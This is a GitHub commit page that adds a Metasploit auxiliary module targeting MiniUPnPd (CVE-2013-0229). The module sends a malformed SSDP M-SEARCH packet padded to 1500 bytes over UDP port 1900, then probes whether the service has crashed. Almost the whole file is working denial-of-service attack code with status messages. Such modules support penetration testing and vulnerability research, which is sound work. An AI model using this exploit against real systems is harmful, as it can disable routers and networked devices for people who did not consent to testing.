Skip to content

Commit 3c05cf4

Browse files
author
jvazquez-r7
committed
Land rapid7#1842, @viris DoS module for cve-2013-0229
2 parents c8c331c + 154894b commit 3c05cf4

File tree

1 file changed

+107
-0
lines changed

1 file changed

+107
-0
lines changed
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::Udp
13+
include Msf::Auxiliary::Dos
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',
18+
'Description' => %q{
19+
This module allows remote attackers to cause a denial of service in MiniUPnP 1.0
20+
server via specifically crafted UDP request.
21+
},
22+
'Author' =>
23+
[
24+
'hdm', # Vulnerability discovery
25+
'Dejan Lukan' # Metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'CVE', '2013-0229' ],
31+
[ 'OSVDB', '89625' ],
32+
[ 'BID', '57607' ],
33+
[ 'URL', 'https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf' ]
34+
],
35+
'DisclosureDate' => 'Mar 27 2013',
36+
))
37+
38+
register_options(
39+
[
40+
Opt::RPORT(1900),
41+
OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])
42+
], self.class)
43+
end
44+
45+
def send_probe(udp_sock, probe)
46+
udp_sock.put(probe)
47+
data = udp_sock.recvfrom
48+
if data and not data[0].empty?
49+
return data[0]
50+
else
51+
return nil
52+
end
53+
end
54+
55+
def run
56+
# the M-SEARCH probe packet that tries to identify whether the service is up or not
57+
msearch_probe = "M-SEARCH * HTTP/1.1\r\n"
58+
msearch_probe << "Host:239.255.255.250:1900\r\n"
59+
msearch_probe << "ST:upnp:rootdevice\r\n"
60+
msearch_probe << "Man:\"ssdp:discover\"\r\n"
61+
msearch_probe << "MX:3\r\n"
62+
msearch_probe << "\r\n"
63+
64+
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
65+
# ST line
66+
sploit = "M-SEARCH * HTTP/1.1\r\n"
67+
sploit << "HOST: 239.255.255.250:1900\r\n"
68+
sploit << "ST:uuid:schemas:device:MX:3"
69+
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
70+
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
71+
# characters: there's more chance that the the program will run off the stack.
72+
sploit += ' '*(1500-sploit.length)
73+
74+
75+
# connect to the UDP port
76+
connect_udp
77+
78+
print_status("#{rhost}:#{rport} - Checking UPnP...")
79+
response = send_probe(udp_sock, msearch_probe)
80+
if response.nil?
81+
print_error("#{rhost}:#{rport} - UPnP end not found")
82+
disconnect_udp
83+
return
84+
end
85+
86+
(1..datastore['ATTEMPTS']).each { |attempt|
87+
print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")
88+
89+
# send the exploit to the target
90+
print_status("#{rhost}:#{rport} - Sending malformed packet...")
91+
udp_sock.put(sploit)
92+
93+
# send the probe to the target
94+
print_status("#{rhost}:#{rport} - The target should be unresponsive now...")
95+
response = send_probe(udp_sock, msearch_probe)
96+
if response.nil?
97+
print_good("#{rhost}:#{rport} - UPnP unresponsive")
98+
disconnect_udp
99+
return
100+
else
101+
print_status("#{rhost}:#{rport} - UPnP is responsive still")
102+
end
103+
}
104+
105+
disconnect_udp
106+
end
107+
end

0 commit comments

Comments
 (0)